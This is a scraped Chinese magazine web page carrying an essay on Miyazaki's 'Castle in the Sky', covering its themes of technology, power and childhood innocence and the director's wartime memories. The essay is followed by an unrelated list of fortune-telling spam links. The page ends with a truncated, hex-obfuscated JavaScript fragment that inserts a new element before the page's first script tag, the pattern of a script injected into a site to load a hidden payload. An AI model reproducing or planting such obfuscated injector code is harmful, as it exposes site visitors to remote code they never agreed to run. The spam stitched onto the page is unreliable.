首页 / 南风窗 / 他想拍给小孩,却看哭了大人

他想拍给小孩,却看哭了大人

南风窗 2023-06-03 10:05

作者 | 奚佑

宫崎骏的《天空之城》在中国重映,挑了个好日子,六一国际儿童节。

选在儿童节,恰符宫崎骏的创作初衷。

彼时1984年,前作《风之谷》市场口碑双丰收,激起日本社会对工业污染与环境保护的讨论浪潮,资方希望趁热打铁推出续作,宫崎骏却拒绝了。

宫崎骏觉得,“动画本就该是属于孩子们的东西,是真正为儿童所创造的,但也足可供成年人鉴赏”。

《风之谷》的受众群体年龄比预想中要高,下一部,他想弥补遗憾,拍个“让年纪更小一点儿”的观众来看的电影。

吉卜力工作室的制作人铃木敏夫回忆,当时,宫崎骏下定决心,然后仅用五分钟,就把《天空之城》的基本构想讲给了他听。

《天空之城》剧照

实际上,这座漂浮于空中的神秘王国,已经在宫崎骏心中盘旋了十几年——当人们心中的白胡子老爷爷还是个小孩时,在小学的数学课上学到了表示平面角的“θ”符号,于是将发音“希达”,当作自己想象中故事主人公的名字。一片藏在云层之上的岛屿,随之诞生了。

《天空之城》是少年宫崎骏给自己创造的一方天地,后来,被搬上银幕,从1986年直至今日,《天空之城》也是无数孩童的一场梦境。

今天,六一儿童节,在《天空之城》重映的日子里,每个人都可以重新拥抱最初的感动与纯真。

01

技术与权力

当然,不止是梦境。

《天空之城》的纯真与浪漫之下,讨论着更坚硬的命题。

一些人说,《天空之城》与宫崎骏其他作品的创作主旨别无二致,表达的无非是环保主义与反战思想。但不完全如此,或者,更准确地说,《天空之城》聚焦于“技术”与“权力”,至于环保与反战倾向,只是基于前者的讨论的自然延伸。

影片序幕,少年与少女相遇了。沉睡的少女从高空缓缓降落,胸前一颗石头散发出柔和的光。在矿场工作的少年飞奔过去,在深邃的矿坑上空将女孩托起。

《天空之城》剧照

女孩是希达,那颗发光的石头,是飞行石的结晶,一颗属于天空之城所有的、蕴藏着强大力量的宝物。

传说中,天空之城是拉普达文明的产物。拉普达文明拥有先进的科技,他们掌握飞行石的提炼技术,学会从中获取力量,使得整座王国漂浮在云层之上。传说中,天空之城不仅堆金叠玉,还拥有强大的军事实力。谁拥有了天空之城,谁就手握了统治世界的力量。

于是,各方势力各怀野心,想方设法去往那里。对少女与她佩戴之物的抢夺,就由此展开了。

飞行石的提炼和驾驭技术是浪漫的,它是人类的智慧,造梦的工具。拉普达文明利用它,让一座王国漂浮起来,让飞行成为人类的一种本能。

它同时是残忍的。是人类的欲望,灾难的种子。利用飞行石,拉普达文明还制造了无可匹敌的战争机器人,以及足以毁灭一座城市的“天之火”——影片中,当“天之火”被引燃时,观众或多或少会联想起历史课本上经典的蘑菇云。

飞行石/图源:《天空之城》剧照

宫崎骏的幻想有如现实世界的水中倒影,飞行石技术就像是核技术的幻影。

与故事中的飞行石一样,自二十世纪初被发明至今,核技术也同时承载着拯救与覆灭。

当被应用于医学,如核磁共振,可以让人类看清深藏于体内的病灶,及时切除、挽救生命。但当其被应用于军事,足以对一座城市、一个国家,甚至是人类社会构成毁灭性打击。

还有核电站事故,切尔诺贝利的伤痛近40年后仍在持续,福岛的隐忧在12年后仍未解决。

科学技术可以造福人,也可以毁灭人。一些人说,技术是无论善恶的,将各种属性赋予它的,是善恶有别的人类运用者。那么,是否只需要人类仔细地甄别善恶、谨慎地将其运用,就可以避免技术的恶果呢?

宫崎骏的《天空之城》不赞同这种观点。

故事中,如此发达、强大,掌握着绝对硬实力的拉普达王国,在故事发生的700年前灭亡了。岛屿群纷数坠毁,只剩一座主岛孤零零地藏在旋风中心。包括王族在内的拉普达人皆数回归地面,躲进森林生活。

拉普达为什么会忽然失落?影片没有详细直观的描绘。

只是隐隐绰绰地借穆斯卡——这位和希达同属拉普达王族血脉的男性角色的价值选择表达了出来。

与安静生活的希达不同,渴慕权力的穆斯卡希望重回天空。他交好军队,寻找登陆的方法,绑架希达,威胁女孩听命于他,只为了成为天空之城的主宰,让世界“再次臣服于拉普达的统治之下”。

为了“统治”,穆斯卡可以毫不犹豫地启动战争机器人,点燃“天之火”——绝对的技术即意味着绝对的力量、绝对的权力,而追逐、抢夺和滥用权力的人性,或许就是让拉普达文明走向衰亡的原因。

穆斯卡/图源:《天空之城》剧照

在故事的最高潮,希达与穆斯卡两相对峙,宫崎骏借少女之口告诉观众:“我现在终于知道拉普达为什么会灭亡了:根要扎在土壤里,和风一起生存,和竹子一起过冬,和鸟儿一起歌颂春天。不管你拥有了多么惊人的武器,也不管你操作了多少可怜的机器人,只要离开土地,就没办法活下去。”

希达决定让天空之城从世界上消失。

她念出了意味着毁灭的咒语,瞬时,这个让无数成年人竞相追逐的梦想之地土崩瓦解、分崩离析。

02

剪去的长发

在人类对权力的竞逐中,技术滥用是难以避免的后果,随之而来的,则是灾难与战争。我想,这大概也是宫崎骏刻画拉普达文明兴亡的同时,之于现实世界的观察与思索。

而决定要毁灭天空之城的是两个孩子,希达和巴鲁。

念出咒语时,他们不在乎飞行石提炼技术是否会被保存下来,不在乎金银财宝是否被及时转移,甚至不在乎自己该怎么离开,只是希望将这个拥有可怕力量的地方赶紧封存起来,不被穆斯卡夺取。

希达和巴鲁/图源:《天空之城》剧照

如果说,《天空之城》童话的外衣之下的一层是苦涩的果肉,其中揭示了现实世界的种种混沌与不堪,但在苦涩果肉之下包裹的种子,却仍然是明亮、温暖的。

宫崎骏最终为这个世界的混沌所寻得的药方,是一种名作“孩子心性”的东西。

影片中,两支队伍竞相追逐前往天空之城,一方是穆斯卡和军队,乘驾着钢铁巨兽,装配着长枪短炮,强硬、野蛮,纪律森严。一方是海盗婆婆的团队和两个孩子,他们乘坐着一只布料制成的飞行器,在船上烧煤、做饭,欢歌笑语。

一方是成人,社会秩序中的强权者;一方是孩子、老人等弱者、边缘者。宫崎骏给予两方截然不同的价值涵义,将拯救世界的希望放在后者的手中。

后者更关心具体的人,有一份不计得失、“不识时务”的勇气。

《天空之城》剧照

令人印象深刻的有两幕。一幕是,巴鲁被军队关押数日后,眼见着希达被掳走,穆斯卡给了少年几枚金币,让他离开,别再插手此事。

巴鲁只是个普通的煤矿童工。因为缺钱,他一个人住在距离工地最远的山顶处。几枚金币,对他来说已是难以想象的财富,走在山坡上,巴鲁一度想把金币狠狠地扔掉,忍了忍,又揣进兜里。

因为几枚金币,巴鲁暂时妥协了解救同伴的决心,因为穆斯卡对他说,“识时务者方为俊杰”。

海盗婆婆虽然爱财如命,却不在乎什么俊杰的道理,讽刺他:“拿了几枚金币就跑回家来了,你还是个男子汉吗?”然后带上他,重新启程去追逐穆斯卡的舰队。

还有一幕是,当天空之城毁灭后,希达和巴鲁撑着滑翔艇回归海盗婆婆的怀抱,婆婆拥抱着希达说:“真可怜啊,被剪了头发该有多难过啊。”

什么奇迹之地的坠毁,什么命悬一线的苦难,一切庞大的概念和恢宏的叙事,都没有“头发被剪掉了”对于小女孩来说更重要。在冒险故事的尾声,海盗婆婆轻声说。

《天空之城》剧照

看到这里,我彻底地明白了天空之城为什么会坠毁,希达为什么说,“只要离开土地,就没办法活下去”。

再回想起天空之城上仅存的战争机器人,浑身锈迹斑斑,却为了保护几颗鸟蛋而移开飞机,来去往返,仅仅为了给女孩送上一束小花。

《天空之城》想对人们说,如果不关心个人的感受,不在乎鸟儿妈妈未出生的孩子,不为女孩被剪去的长发担忧,离开名作“生命”和“爱”的土壤,再超前和强大的技术和文明都是空中楼阁,都将危在旦夕。

03

火光绰绰的晚上

宫崎骏选择了如此的表达,与他自己的童年经历有关。

出生于1941年,正值第二次世界大战战势正酣,宫崎骏是幸运的,伯父和父亲经营着一家军需附属产品公司,整个家族不仅因此躲过被送去战场的命运,还享受着富裕的生活。他父亲甚至还赢得了一辆真正的汽车,在那个人人吃不饱饭的年代。

4岁那一年,空袭来临,“汽油弹像下雨一样从天而降,整座城市陷入火海”。叔叔从公司开来那辆小卡车,载着宫崎全家人逃离火海。而就在卡车即将发动时,邻居家的妇女抱着孩子追出来苦苦哀求,希望带着她一起走,但父亲和伯父出于种种原因,拒绝了女人的请求。

“请载我们一程吧”的嘶喊声逐渐消失在远方,这个场景在幼年宫崎骏的心中烙下深深的印记,以至于在许多年以后,仍然在他脑海中构成戏剧化的一幕。

《千与千寻》剧照

“我们开着一辆‘罕见‘的汽车跑掉了,甚至抛下了那些要求搭车的人,而很多人就这样的离去了……”这一幕带给他的痛苦,牵动着更庞大的思索:

“如果说父母没有搭救那一对母女是‘恶’的话,那么轰炸日本的(美国)飞机又是什么?如果说美国飞机轰炸日本是‘大恶’的话,那么日本军国主义在中国、菲律宾和东南亚国家进行的大屠杀简直就是十恶不赦了!”

成长至青年以后,宫崎骏因父母曾经的军需营生和日本发动的侵略战争痛苦不已。他深觉社会的荒谬和虚伪,“但从出生的那一天起我就陷入了这个怪圈无法自拔,根本无法与之对抗”。

直至,宫崎骏与动画相遇。就像是巴鲁眼见着一位沉睡的少女从空中降临,宫崎骏有如醍醐灌顶般地“彻底找准了自己的定位”。他决定,自己应该在动画里,“去描绘孩子们的天真纯朴和大而化之”。 

这也是为了去解答自己自4岁那年起持有的困惑。宫崎骏说:“我意识到,我应该拍这样一部动画片,故事里的孩子在这种情况下会说出‘让她上车吧’,而不会因为大部分人不这么做就放弃。”

《千与千寻》剧照

于是,后来有了《天空之城》的希达,在军队的追捕和威胁之下,她仍然拒绝成为傀儡,拒绝借出飞行石结晶的力量。

有了《千与千寻》的千寻,毅然决然地登上没有返程的水上列车,去寻找解救白龙的方法。

有了《哈尔的移动城堡》的苏菲,一次一次地对身中诅咒的稻草人和身陷囹圄的哈尔伸出援手,后来收获了自己的幸福。

还有《魔女宅急便》的琪琪,向一位妇人送去了婴儿的奶嘴,因此得到了住所和第一份的工作。

无数次回望那个火光绰绰的晚上,宫崎骏决心以动画作品中属于孩童的纯白、善良和不计得失的勇气去与之对抗。

而《天空之城》,就是这样一份儿童节礼物,献给所有人的和平之礼。

文中配图部分部分来源于网络

编辑 | 吴擎

排版 | 刘亦琛

关注南风窗,查看更多精彩内容

猜你喜欢

  • 目录:1、和尚说我姻缘线断了什么意思2、人家看手相的说我的婚姻线已经动啦是什么意思啊求解谢谢3、感情线断开是怎么回事?4、如何看婚姻线:婚姻线断开一上一下?5、姻缘线断了是什么意思,婚姻线三条什么意思和尚说我姻缘线断了什么意思姻缘线被切断了说明不是姻缘线,是..

    八字2024-03-29
  • 目录:1、男马女猴婚配属相,男属马女属猴婚配如何2、属相婚配表男属马女属猴,男属马女属猴,在一起生肖五行相克不?_百度...3、男马女猴婚姻是否相配男马女猴婚配属相,男属马女属猴婚配如何1、男马女猴十二生肖配对结果:你们是对外所向披靡,相处时却容易产生摩擦的一对..

    八字2024-03-29
  • 目录:1、八字火太旺是忌水还是喜水2、生辰八字火多代表什么3、八字火多的女人命运会怎样?4、八字五行火过旺有什么影响?警惕怒气伤身,易患肺部疾病!5、五行火多的人怎么样?脾气火爆吗6、八字火太旺八字火太旺是忌水还是喜水火旺的八字,若八字中无滴水,就要忌水。丁火..

    八字2024-03-29
  • 目录:1、如果给你算命拆八字,你认为收多少钱合适呢?2、请高手帮忙拆八字3、拆八字郡是什么意思如果给你算命拆八字,你认为收多少钱合适呢?1、所谓“合适”,就是算命与命主双方都认可的数目。至于“多少”这个一般师门有规定的,照章收费就行。2、一般在线专业算卦算命..

    八字2024-03-29
  • 目录:1、男生戴红绳的含义2、男人求姻缘佩戴什么样的玉3、男人佩戴什么可以招桃花4、男生手上带红绳什么意思?5、单身的男孩子左手带个手链算什么?男生戴红绳的含义1、爱情的象征:一般一对恋人会戴一样的,男左女右,就像是信物一样!叫做“lovelace”爱之链,代表永远..

    八字2024-03-29
  • 目录:1、86年属虎的婚姻与命运如何2、1986年属虎的一生婚姻,1986年农历6月16属虎女婚姻和命运怎样3、86年虎女一生婚姻状况4、86年属虎后半生婚姻,1986年属虎的人婚姻5、属虎人爱情婚姻运势,86年属虎男有几段婚姻6、1986年属虎的一生婚姻,属虎婚姻运解析?86年属虎的婚姻..

    八字2024-03-29
  • 目录:1、本命年和本历年有啥不同?它们的概念分别是?2、什么叫做本命年?本命年又是什么?3、本命年多少岁4、本历年与本命年有什么区别5、什么叫本命年6、本年和本命年怎么算本命年和本历年有啥不同?它们的概念分别是?1、本历年即本命年,是十二年—遇的农历属相所在的年..

    本命年2024-03-29
  • 目录:1、最精准姓名配对爱情配对2、爱情姓名配对3、情侣名字配对指数如何推算姓名拼音首字母对应数字相加4、姓名恋爱配对,男女姓名星座缘分配对5、夫妻姓名配对测试看你们关系如何最精准姓名配对爱情配对姓名拼音推算配对指数数字和字母对应姓名配对婚姻对照表,1,2,..

    姓名配对2024-03-29
  • 目录:1、60岁属牛的人本命年为什么不能过生日?2、牛年本命年可以过生日吗?3、本命年为什么不能过生日60岁属牛的人本命年为什么不能过生日?因为60岁是本命年,本命年各方面运势都很低迷,会遇到很多不好的事情,甚至还会遇到一些突发性的情况,给属牛人带来很大的伤害。..

    本命年2024-03-29
  • 目录:1、姓名配对两人爱情结果两个人名字的笔画相加后2、情侣姓名笔画看你们的缘分3、姓名姻缘测试的方法有几种?又都各自代表了什么样的含义呢?4、姓名配对缘分测试,从名字笔画看两人姻缘?5、男女姓名配对测试婚姻,男女名字笔画测缘分?姓名配对两人爱情结果两个人名字..

    姓名配对2024-03-29
  • 目录:1、女生本命年结婚好吗2、本命年结婚为什么不好?3、本命年不宜结婚吗?4、本命年为什么不能结婚5、本命年结婚怎么样6、本命年结婚好还是不好,有什么讲究女生本命年结婚好吗女人本命年结婚好吗 在我国有一种传统,就是本命年的人结婚不太好,对一个人的身体健康以及..

    本命年2024-03-29
  • 目录:1、excel如何根据姓名匹配身份证号码2、Excel如何姓名自动匹配班级3、怎样用excel根据姓氏匹配工号?excel如何根据姓名匹配身份证号码1、使用INDEX/MATCH函数进行姓名与身份证号码的匹配,具体步骤如下:步骤1:在Excel表格中,将姓名列和身份证号码列分别命名为“..

    姓名配对2024-03-29
  • 目录:1、一生好运富贵的女孩小名,女孩名字里较大富大贵的字2、好听寓意好的小名3、女性好听又聚财的小名,好运气招财的女孩名字4、又顺利又有财气的小名,搜一个很好听,好霸气,很有财气而且很吉祥的名字...5、旺财的小名女一生好运富贵的女孩小名,女孩名字里较大富大贵的..

    财运2024-03-29
  • 目录:1、如何匹配2张excel中的名字2、怎么在表格里匹配同学的名字?3、excel表中怎么把两列姓名对应起来,比如王明和张华。4、两张表匹配相同名字的数据5、学生姓名与电子表格中的成绩如何匹配呢?如何匹配2张excel中的名字首先姓名配对电子表格,打开电脑姓名配对电子表..

    姓名配对2024-03-29
  • 目录:1、女人哪种脚型是富贵命超准测试2、准到不可思议!从脚相看女人的大富大贵3、从脚来看你的命运吉凶?女人哪种脚型是富贵命超准测试1、女人天生富贵的脚型埃及脚—富贵命女人有这种脚,天生脑子灵活,善于分析局势,最适合做领导性的工作,这种女人天生福气深厚,不..

    财运2024-03-29
  • 目录:1、免费测婚配八字网,求一个能够免费测八字合婚的网站?2、在线测姻缘免费测试,有免费测试缘分爱情指数的网站吗3、免费测你和他的缘分,有免费测试缘分爱情指数的网站吗4、男女姓名测试爱情缘分,怎么测试姓名缘分?5、免费姻缘八字配对,免费八字合婚网,生日爱情缘6、..

    姓名配对2024-03-29
  • 目录:1、婚姻配对免费测试姓名,名字配对姻缘,姓名姻缘配对测试2、名字婚配免费测试最准,免费姓名配对测试3、免费合婚姻最准的网站,免费合八字算婚姻网4、男女姓名匹配,姓名配对免费测姻缘5、姓名配对最准的免费网站,姓名配对哪一个网站更准啊?你试过吗?_百度知...婚姻..

    财运2024-03-29
  • 目录:1、姓名测试我和他的结局,姓名姻缘配对测试2、姓名配对测姻缘名字配对姻缘,姓名姻缘配对测3、非常运势网姓名测试打分,姓名测试打分生辰八字准吗4、姓名测试姻缘分长久,最准的姓名配对?姓名测试我和他的结局,姓名姻缘配对测试永远在一起。24岁终身监禁25恨你又爱你..

    姓名配对2024-03-29
  • 目录:1、天蝎座男和什么星座最配-注定爱上的星座2、天蝎座的最佳配对表3、星座婚配表大全天蝎座,十二星座配对表4、天蝎座男生的最佳配对5、十二星座名字配6、天蝎座男生配对星座表,揭秘天蝎男配对什么星座女?天蝎座男和什么星座最配-注定爱上的星座和天蝎男最配的星座..

    姓名配对2024-03-29
  • 目录:1、五爷庙求财许愿说什么2、增加偏财运该拜哪个菩萨3、偏财运是什么意思4、石榴木的人带什么菩萨偏财运5、问大年初四给观音菩萨和财神烧香出现长生香是什么意思有没有偏财运五爷庙求财许愿说什么许愿说词:弟子(信女)姓名、出生日期、家中地址,今日焚香并准备..

    财运2024-03-29
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();